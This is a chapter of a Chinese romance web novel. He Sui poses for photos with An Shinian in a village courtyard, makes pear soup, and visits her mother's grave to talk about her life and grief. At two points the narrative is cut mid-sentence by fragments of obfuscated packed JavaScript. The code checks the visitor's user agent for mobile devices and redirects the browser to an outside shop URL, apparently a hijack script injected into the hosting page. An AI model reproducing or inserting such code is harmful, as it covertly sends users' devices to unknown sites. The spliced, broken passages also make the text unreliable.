安时年把孩子交给穆目,对贺全涛道:“可以。” 木桌上摆着吃完面的空碗,贺春生老两口收拾进了里屋。 院里是年轻人在打闹。 “什么拍完了,”贺春藏吃完面,向贺穗抬抬头,“这不还差一个?” 她猛推贺穗上前,站进枣树的枝叶里。 贺穗踩着地上的碎叶,双手插进裤兜,看向与贺全涛一同站在树外的安时年。 半晌,谁也没动。 贺穗皱着眉歪头。 “我不能拍?” 寂静了一瞬间。 一旁传来贺春藏在大笑,她招呼招呼手:“快快,给我家小穗拍一张!” 贺全涛忙不迭地举起挂在脖子上的相机,调整好镜头焦距,另一只手也不忘把安时年推过去,“去去去!快站好!” 他飞快地眨巴眨巴眼和贺春藏打着暗号。 贺穗看着两个人的小动作,忍不住轻笑一声,“别搞别的,正经拍一张,记得拍横屏的。” 说完她弯腰指了指脚下,向安时年低声说:“站这里。” 贺全涛已经举起相机对准了他们,屏幕里框进两人的身影,他扬起嘴角,拉长了语调打趣道:“行,听大导演的!来,男同志向女同志——” “贺全涛!” 贺穗抬手跑上来,吓得贺全涛先逃了半个院子。 遇上贺春生从屋里出来,背着手笑呵呵地喊道:“好好给你姐姐拍一个。” 鸡飞狗跳好一阵,两人才站好。 在枣树下两人一高一低,靠在一起。 贺穗的长发顺着她的臂弯滑落,她双手插在衣服兜里,定睛看着镜头。 一张照完,贺穗还没看,就被贺全涛推回来,“你俩好严肃,能不能活一下。” 贺穗无奈道:“好歹是俩大活人。” “活,就是生命感,你们俩大笑,灿烂点,”贺全涛看着贺穗,摆摆手,“算了,你也活泼不起来,安哥,你来。” 贺穗叹口气,看向一旁高自己半截的安时年,“你别拘谨,画面里有一个笑得好看的就行。” 说罢她提起嘴角,微微向安时年一边歪了歪头。 “好了好了,保持住啊!”贺全涛举着相机,说:“三——二——一!” 镜头按键被按下的瞬间,贺穗的肩膀突然被一阵力道猛地撞到,她还没来得及收回动作,身体就坚实地靠在了安时年的肩上。 ? 贺穗感受到安时年大手一张,在自己摔倒的前一秒被他揽了住肩膀。 她全然忘了自己表情是什么样的。 转头看去,安时年脸颊笑出两个括号,他金黄的发丝与贺穗的长发交缠,眉眼近在咫尺,睫毛,卧蚕,下一刻是呼吸。 贺穗一愣。 转过脸,眼前贺全涛跑远的身影晃得模糊。 肩侧的触感也缓缓消失。 随即她的手被安时年摊开,放在她手心的,是她熟悉的尾戒。 “物归原主。” 贺穗一把握住手里的尾戒。 早不还晚不换,这时候乖乖交过来了。 “在门口我问了你很多问题,你一个字都没回,说好在工作室的戒指现在又出现在你手里,安时年,你是不是和我缺了很多话要说,是想今天把事说完,隔天出了前明村就要和我分道扬镳?” 贺穗把戒指戴进自己的小指,转了转。 她说:“我对你很感兴趣,但你要靠装傻翻篇儿到什么时候。” “什么兴趣?在意我?喜欢我?” 他一步上前,好像不可思议地笑着发问。 “对,”贺穗也不躲,笑盈盈地看向他,“考虑考虑?” 安时年羞涩的动作在贺穗眼里已经成了一个流程,从脖颈红到耳朵,这次倒是不躲,说:“你记得我来这里多久了吗?” “不算来的那一天的话,这是第三天……” 安时年深深呼吸,放下手插在腰间,笑了笑,“对呀,才三天,我不想告诉你。” “三天怎么了?” “三天,七十二小时,我就能开口说喜欢吗?” “不可以吗?” “当然!” 安时年轻轻抬手,从有些发愣的贺穗头上取下枯叶。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372341|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >拿在手里甩了甩。 “叶子。” 他无奈的神情定格在眼前,贺穗忘了贺全涛什么时候跑过来把他拉走,院子里响起贺春生教他吹芦笙的声音。 他学得很快,还没到晚上一首曲子就学完了。 吹得很棒。 夜里星光点点,原路把他和脆脆送回学校。 他抓着车窗向贺春藏道别。 “我后天走。” 贺穗点头,手上墨色的尾戒与方向盘碰撞点了点。 “知道了。” 车窗关上,暖烘烘的空间依旧让人昏昏欲睡,贺春藏却全然没有困意,上瞧下看地端详了贺穗好一阵儿。 贺穗:“说。” “吵架了?” 贺穗撇脸笑道:“我俩都不熟,有什么吵的。” “专门给他安排房间,大早上看新闻直播,关心吃没吃饭特地绕路来接,听说他来村里还是你出去接的,”贺春藏叹口气,“还真是不熟,毕竟我都没这样的殊荣。” “我那叫礼貌。” “嗯嗯,礼貌,”贺春藏敷衍地点点头,“不过这孩子挺好的,人家直言不讳,我今天问是不是在等你,他直接说是,拍照也是等你靠过来,才摆起动作揽住你。” “他那——” “叫礼貌。” 贺春藏接上贺穗的话茬补充道。 她笑笑撑着头看着眼前车灯长长打出去的柏油马路,路灯几十米一个,亮的就是脚下那一块。 路过的宅子,瓦房,远处看过去最突兀的还是贺春筝的别墅。 贺春藏:“他要走了。” 贺穗:“你今天怎么说个不停,催婚啊?” …… “那还是算了,我都没打算结婚。” “也是,说好你结婚,我当伴娘,我现在都三十了还没当上。” 贺春藏一阵大笑,“我什么时候说过让你当伴娘,明明是当花童!” “行,我当花童,你就结婚。” “什么跟什么,话题怎么到我身上了?” 贺穗一打方向盘,进了院子,“谁知道呢?反正现在到了,下车。” 停到车位上,她熄火、解安全带一气呵成。 贺春藏还想说些什么,贺穗已经抬脚到了家门口。 她手上接着电话,匆匆换了鞋上了二楼。 工作室堆积的工作让她忙到了深夜,最后长舒一口气,躺倒在椅子上。 她没拉窗帘,任由月光洒进。 躺了还没五分钟,她起身往浴室走去。 淋浴的水声传出来,二楼客房才算有些动静。 换了睡衣,吹了头发。 踩着下楼的台阶,摸索着开灯。 暖黄的灯光亮起,依次点亮客厅厨房的各个角落,翻动过的书本在书桌上撑开着呼吸,茶几上摆好的花束因这几天的疏于管理而消痿。 打开冰箱门,贺穗的目光停留在那一层的隔板上。 孤零零的一只梨。 深夜的前明村,部分人做完最后的收尾一起聚在学校的院子里吃饭,村民们三两成群吹起芦笙,吹着欢迎与送别的曲调。 大山下的家里,厨房的窗口灯光透亮,锅里沸腾的水形成的蒸气为玻璃覆上一层薄雾。 轻擦后,清晰地看见贺穗端着小碟子试汤的身影。 有点甜了。 加点水。 在甜了加水,淡了加冰糖的循环里,贺穗做好了一锅小吊梨汤。 “做多了……留着给小姨喝吧。” 贺穗嘴里嘟囔着,给自己先盛出一碗。 清凉夜里,压一压秋燥。 20. 道路 手机里一溜贺全涛的消息。 最开始的第一张。 贺穗板板正正地站着,面上一丝不苟,安时年则是两手背在身后,一边衬衫的衣领还敞开了半截,他抿着嘴唇,略微低着头看向镜头。 也怪不得贺全涛说严肃。 翻开下一张,贺全涛刚好拍下贺穗的笑意将消未消时被一揽子抱住的瞬间,偏侧过的脑袋还靠在安时年肩上。 而安时年一手高高举着落叶,踮起脚大笑着。 恰好一阵风,吹乱他的头发。 “拍照也是等你靠过来,才摆起动作揽住你……” 她想起贺春藏在车上说起的话,不自主地笑了笑。 我早该明白,安时年是这样的,热情、礼貌,把尊重摆在第一位。 或许还有点害羞? 她捧着汤走到了餐桌旁。 想起安时年说的话 他是暗里说我肤浅,随意? 她点开手机里的微博,看见安时年最新发的Vlog,从学校围起的孩子到物资进山的货车,从清晨草浪到午时成群吹响的芦笙,最后到了贺全涛的家门口,在镜头的角落还有贺穗一闪而过的身影。 他介绍着村里的一草一木,晴天白日到高挂星辰的夜空。 十分钟的视频里出现的人脸都被打了马赛克。 贺穗笑笑。 热情、礼貌、尊重、羞涩,还要多添份周全。 她的手一顿,抬起勺子又停下。 洋洋洒洒总结了一堆词,偏是听不出一个负面。 她甩下勺子,没喝两口的梨汤晾在一边。 整个人向后靠在椅背上,双臂交叉抱在胸前。 看着明晃晃的顶灯,微微闭上双眼。 “服了……” 随着夜里的最后一盏灯熄灭,村子才回归最初的平静。 平静起伏,缠绕着贺春藏的呼吸声。 等她睡醒,拉开窗帘,一片片阳光夺窗而入,亮得晃眼睡意还没完全褪去,索性再蜷回被窝里,拉过一角被子盖住半边脸,再懒洋洋地眯个回笼觉。 再睡醒,窗外的阳光已经斜移了位置,她爬起来推开一点窗户透气,这才算清醒了几分。 走出卧室往客卫去,她下意识地往客厅瞥了一眼,昨天她摊开在茶几上的书被收起来摞在一边, 走到餐桌旁,空落落的花瓶被擦洗得干干净净,餐桌中央放着网罩遮住了早餐。 不用想她也知道是贺穗的习惯。 伸手去掀网罩,先看到了贴在罩子上的便利贴。 贺穗随笔写着:起晚了就自己热一下,我今天要工作,午饭自己吃。 罩子揭开后,老几样的早餐,多的是碗梨汤。 贺春藏摇头笑了笑,目光看向二楼的平台。 姐姐担心千万遍的孩子,早就有适应世界独自生存的能力。 再望向那间打不开的房门 时间长了,她还是调侃自己看不明白。 等日头高照,贺春藏才吃完饭,收拾厨房,多出来的梨汤热一热打包进一个陶瓷罐。 【车钥匙呢。】 她一边穿着外套,一边给贺穗发消息。 手上忙着提鞋,还没放下手机,贺穗的消息已经传来。 【玄关抽屉里。】 【我有事出去,晚上回来。】 【知道了。】 发完消息后的贺穗把手机搁在桌角,推了把椅子起身走到窗帘旁,探头看向楼下的院子,车的尾灯走远缩成一点暗红,转眼消失在视线里。 她的指尖无意识地推了推眼镜,转身去接工作的电话。 清晨到傍晚,电脑前的工作会议开了一次又一次,手边吃完饭的碗筷来不及收到楼下,日落的时间没了知觉,再抬头月光已经如常打下。 她重新泡上咖啡。 向楼下走去,恰巧贺春藏刚回来正在玄关处换鞋。 “忙完了?” “差不多。” “明天要送救援人员出山,你什么时候走?” 贺春藏换了鞋,长长一条人直奔沙发躺下。 贺穗紧跟其后坐在另一边的单人椅上,“等人都走完,大概下午点我再走。” “那你去看看你妈。” “我去过了。” 良久,贺春藏才嘟囔着开口,“我把一个陶瓷罐落在那里了。” “哪个?” 贺穗微微一愣。 “就,就你最喜欢的那个。” …… 贺穗端起的咖啡到了嘴边又放下,杯子与茶几叮当一响,她叹口气道:“你没事带什么吃的,带束花去,干净整洁她还喜欢。” “你亲手做的梨汤,她说她想喝,我就带着了。” “她大中午能给你托梦?”贺穗没了说话的兴致,大步往厨房走去,“白日梦。” “你就说你去不去?给个准话,要是下午走,早上过去看一眼也赶趟,这回的事她真给我托梦了,哭得稀里哗啦地叫你来见见她。” 贺春藏趴在沙发的靠背上,望着厨房半个玻璃的推拉门上隐隐约约出现的身影,一时看出了神没注意贺穗说的话。 直到贺穗把脑袋从玻璃门边探出来,贺春藏才回神问道:“什么?” “我说车还有油吗?” “有啊。” 贺穗洗干净杯子,手搭在毛巾上擦了擦,“拗不过你。” 随着贺穗上楼,贺春筝就趴在沙发上望着她。 第二天,贺穗赶着清晨,出了门。 晨雾夹杂着乡野的潮湿,一起风比往日都要凉些,贺穗穿着衣柜里拿出许久不穿的风衣,抱着路边采了扎好的花,爬上去往山顶的木栈道。 她一身卡其色大衣,盘起头发,洗了把脸戴着昨夜工作时的眼镜。 半山腰上回望,救援人员的大巴一辆辆地排起队,夹道欢送的村民带着最有诚意的农家吃食,追着车跑。 好景色带不走,总不能让人饿着肚子。 贺穗再向上走,清晨的雾气早就散去,树丛随风摆着枝桠,碰撞擦肩产生独有的声响,伴着贺穗的脚步到了那座墓碑前。 还是那样明亮的墓碑下她的陶瓷罐也被擦得干干净净。 陶瓷罐的一旁,斜倚着一束铃兰裹挟着紫色的郁金香,包裹着它们的是由白渐变成浅蓝色的卡纸,花束前还打了个小小的蝴蝶结。 这束花的另一边还有一束,黄色和白色菊花交错夹着几枝康乃馨, 贺穗拿起来仔细看了看,“还是星云郁金香。” 这是贺春筝最喜欢的花,也是贺穗这次来家里时插在花瓶里的花。 “真好,还有人记得你的喜好,特地从市里拿来,”贺穗笑了笑,把自己路边采来的拿出来,“我这几枝放这旁边都显得有些掉价。” 她看着墓碑上浅浅微笑的照片。 年年来,年年看,乍然一眼望过去的种种还是随时间变得模糊。 “最近有人说我是要一个答案的,我回答说模糊是好事,可现在我不看一眼照片都要记不得你的模样……” 贺穗放下花往后退一步。 在她凝视的双眼前,屹然不动的只有墓碑。 画像与文字刻了六年,一成不变,可花开了一遍又一遍,脚边栽下的枝条几乎在以参天大树的姿态生长。 山下欢送的队伍已经启程,芦笙,鼓乐,没有间断。 “泥水又把路给堵住了……早上送货来的贺长舍,不小心堵在洞里,没救回来,长舍你知道吧?学校刚建成的时候他老拉着他弟弟来学校找你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372342|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你应该记得,他弟弟现在外地读大学呢,虽然比不上田舒宁,但考的还算可以。田舒宁现在正读研究生,我也不知道她什么时候毕业,她应该给你说了,反正没给我说。 “她这段时间在学校当志愿者老师……我差点忘了,长舍的孩子都会跑了,也在那个学校里,你一个学校养两代人,你的脸是不是都要笑烂了……” 贺穗双手放进大衣的兜里,“他那么年轻,你见了他就带着点,别让他难过了,给他说这边人多,家里的人除了村长他们,我也会想办法照拂。 “舅舅当爷爷了,今年出生的小孙女,带给你看过吧,很可爱,我以为幺涛儿那样子这辈子都讨不到媳妇,没想到还成了最早结婚,最早有孩子的,他妻子人也不错,两个人很般配,听说今年年过了两人就要出去开个店,住到县里的小区里,舅舅留着你给买的房子,给他们小两口当婚房。” 贺穗掰着枝杈点着树皮,上瞧瞧下看看,说完捏捏手里的枝条,点点头。 “我昨天还抱了那个孩子,比我胳膊长点,蜷缩着……我出生的时候是什么样子,好像没有照片,也没听你说过,穆目说孩子出生都长得一样,丑丑的。” 贺穗不自然地笑了笑,“我还问穆目生孩子怎么样,她说痛得要死,就算幺涛儿求她,她也不要下一个,我问她为什么要生,她说和幺涛儿感情好,也想看看两个人的宝宝长什么样子,会怎样成才。 “我这次还见到了那个男的,你也是因为和他感情好而有了我吗?也是因为想看看两个人的宝宝长什么样子而生下的我?你会想看我是怎么成才的吗?我符合你的期待了吗?” 芦笙与鼓乐齐鸣,贺穗把话说完又咬了咬嘴唇,自顾自地笑了笑。 “我错了,”她擦擦泪水,低头笑出了声,难为情地“哎呀”一声,“好痛苦。” 她回身向后看去,站在栅栏边能俯瞰整个前明村,救援人员的大巴已经发车,两边围堵的村民提着红兜子追着车跑。 “你看,这么多人,路又修好了。 “我这两年在做动画电影,工作的环境里不乏会遇到一些岁数不大的学生,每每看见她们初入社会的样子,我总能想起你,我的电影里写了你的故事,我本是希望你没生下我,然后去读书,去上学,把现在的事业做得更强大,去世界各地,可是怎么办,我就是拿不了假的来骗人,连动画里都不行……你为什么要生下我呢?” 贺穗蹲在她面前,低头看了看墓碑前的方台,手指抵在上面,冰冰凉。 她自顾自地掏出兜里的墨镜,换下脸上的眼镜。下一刻,她抬起头,一丝泪水从墨镜下滑落,被风一吹,在她的面颊上凝结成一道浅浅的泪痕。 “我已经过了三十岁,按长寿了算三分之一的人生已经结束了,按你过世的年岁来算,剩下的也不过十五年的日子,在社会上打滚生存这么多年,我以为我已经足够自洽,理解,可站在你面前,还是甩不掉孩子气。 “不过好歹不像以前一样乱嚎,也算进步。” 贺穗拿起陶罐。 “对不起,是我错了。” 山顶的风吹了许久,久到她身后村寨的乐曲都停了下来。 她整了整台子,把三束花摆在一起,说:“不知道谁送的这么合你口味,记得去感谢一下人家,我也该走了。” 再站起来,还没走到台阶,她又回过头,抬了抬手里的陶罐。 “如果你真想吃我做的就来我的梦里,想我的话也来我这里吧,别让小姨传话了,她总是添油加醋,说你这个女精英哭得梨花带雨。” 手心一转,里面叮当一声响。 她解开盖子看去,空荡荡的陶瓷罐里非但没有梨汤,还干干净净。 视线一顿。 罐里孤零零躺着。 耳坠。